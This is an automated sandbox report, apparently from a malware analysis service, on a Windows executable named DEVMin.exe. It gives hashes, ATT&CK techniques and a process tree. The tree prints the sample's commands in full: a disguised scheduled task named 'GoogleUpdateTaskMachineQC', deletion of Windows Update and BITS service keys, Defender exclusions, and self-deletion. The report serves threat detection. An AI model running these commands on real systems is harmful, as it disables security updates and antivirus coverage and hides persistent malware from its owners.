ffb44a5388958cda3be00af5170e3fa51c5bc59e7b6ea659836417a17594d18c

Analysis

max time kernel
137s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
13-10-2023 02:17

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General

Target

DEVMin.exe
Size

3.6MB
MD5

279c66b28f19a510ad6c0f155871fac3
SHA1

427bcf049de4b9a848593463e0f36265baa6164c
SHA256

ae0b0d973a8b3feff1fb7570e09fadf473b904b8bb53c7eb83da63a53c103164
SHA512

f9ae2f0753e689f78ced7d1dbc4273fe17ca1eda2f62ee7a317a4a3614d91fcae62d7aacb8ea1a826f7e0a5a3c5723dc48830483af8e38497bc9593bd2f7f161
SSDEEP

98304:JHmeIFVx0/o2Jrd9o2oNiN0KL5Zm2kVehky:DIFVxQJM2eRZfQhky

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 852 created 3132	852	DEVMin.exe	39
PID 852 created 3132	852	DEVMin.exe	39
PID 852 created 3132	852	DEVMin.exe	39

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	DEVMin.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4020	sc.exe
404	sc.exe
3916	sc.exe
464	sc.exe
4356	sc.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
852	DEVMin.exe
852	DEVMin.exe
3204	powershell.exe
3204	powershell.exe
852	DEVMin.exe
852	DEVMin.exe
852	DEVMin.exe
852	DEVMin.exe
852	DEVMin.exe
852	DEVMin.exe
2224	powershell.exe
2224	powershell.exe
852	DEVMin.exe
852	DEVMin.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeShutdownPrivilege	3416	powercfg.exe
Token: SeCreatePagefilePrivilege	3416	powercfg.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	3852	powercfg.exe
Token: SeCreatePagefilePrivilege	3852	powercfg.exe
Token: SeShutdownPrivilege	408	powercfg.exe
Token: SeCreatePagefilePrivilege	408	powercfg.exe
Token: SeShutdownPrivilege	2656	powercfg.exe
Token: SeCreatePagefilePrivilege	2656	powercfg.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 4356	1764	cmd.exe	92
PID 1764 wrote to memory of 4356	1764	cmd.exe	92
PID 4204 wrote to memory of 3416	4204	cmd.exe	93
PID 4204 wrote to memory of 3416	4204	cmd.exe	93
PID 4204 wrote to memory of 3852	4204	cmd.exe	94
PID 4204 wrote to memory of 3852	4204	cmd.exe	94
PID 1764 wrote to memory of 4020	1764	cmd.exe	96
PID 1764 wrote to memory of 4020	1764	cmd.exe	96
PID 4204 wrote to memory of 408	4204	cmd.exe	95
PID 4204 wrote to memory of 408	4204	cmd.exe	95
PID 4204 wrote to memory of 2656	4204	cmd.exe	97
PID 4204 wrote to memory of 2656	4204	cmd.exe	97
PID 1764 wrote to memory of 404	1764	cmd.exe	98
PID 1764 wrote to memory of 404	1764	cmd.exe	98
PID 1764 wrote to memory of 3916	1764	cmd.exe	99
PID 1764 wrote to memory of 3916	1764	cmd.exe	99
PID 1764 wrote to memory of 464	1764	cmd.exe	101
PID 1764 wrote to memory of 464	1764	cmd.exe	101
PID 1764 wrote to memory of 4772	1764	cmd.exe	102
PID 1764 wrote to memory of 4772	1764	cmd.exe	102
PID 1764 wrote to memory of 4260	1764	cmd.exe	103
PID 1764 wrote to memory of 4260	1764	cmd.exe	103
PID 1764 wrote to memory of 3636	1764	cmd.exe	104
PID 1764 wrote to memory of 3636	1764	cmd.exe	104
PID 1764 wrote to memory of 1876	1764	cmd.exe	105
PID 1764 wrote to memory of 1876	1764	cmd.exe	105
PID 1764 wrote to memory of 4344	1764	cmd.exe	106
PID 1764 wrote to memory of 4344	1764	cmd.exe	106
PID 1496 wrote to memory of 228	1496	cmd.exe	110
PID 1496 wrote to memory of 228	1496	cmd.exe	110

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3132
- C:\Users\Admin\AppData\Local\Temp\DEVMin.exe
  "C:\Users\Admin\AppData\Local\Temp\DEVMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#owhqpc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\System32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4356
  - - C:\Windows\System32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4020
  - - C:\Windows\System32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:404
  - - C:\Windows\System32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:3916
  - - C:\Windows\System32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:464
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:4772
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:4260
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      Modifies security service
      PID:3636
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:1876
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:4344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3416
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3852
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:408
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\DEVMin.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pgnb2aja.obm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/852-39-0x00007FF6E2E50000-0x00007FF6E31EA000-memory.dmp

Filesize
3.6MB

Download
memory/852-32-0x00007FF6E2E50000-0x00007FF6E31EA000-memory.dmp

Filesize
3.6MB

Download
memory/852-11-0x00007FF6E2E50000-0x00007FF6E31EA000-memory.dmp

Filesize
3.6MB

Download
memory/2224-19-0x00007FFF02A70000-0x00007FFF03531000-memory.dmp

Filesize
10.8MB

Download
memory/2224-20-0x0000023DC2020000-0x0000023DC2030000-memory.dmp

Filesize
64KB

Download
memory/2224-31-0x0000023DC2020000-0x0000023DC2030000-memory.dmp

Filesize
64KB

Download
memory/2224-33-0x0000023DC2020000-0x0000023DC2030000-memory.dmp

Filesize
64KB

Download
memory/2224-35-0x00007FFF02A70000-0x00007FFF03531000-memory.dmp

Filesize
10.8MB

Download
memory/2224-37-0x00007FFF02A70000-0x00007FFF03531000-memory.dmp

Filesize
10.8MB

Download
memory/3204-13-0x000001D5F3EC0000-0x000001D5F3ED0000-memory.dmp

Filesize
64KB

Download
memory/3204-14-0x000001D5F3EC0000-0x000001D5F3ED0000-memory.dmp

Filesize
64KB

Download
memory/3204-12-0x000001D5F3EC0000-0x000001D5F3ED0000-memory.dmp

Filesize
64KB

Download
memory/3204-10-0x00007FFF02950000-0x00007FFF03411000-memory.dmp

Filesize
10.8MB

Download
memory/3204-34-0x00007FFF02950000-0x00007FFF03411000-memory.dmp

Filesize
10.8MB

Download
memory/3204-9-0x000001D5F3ED0000-0x000001D5F3EF2000-memory.dmp

Filesize
136KB

Download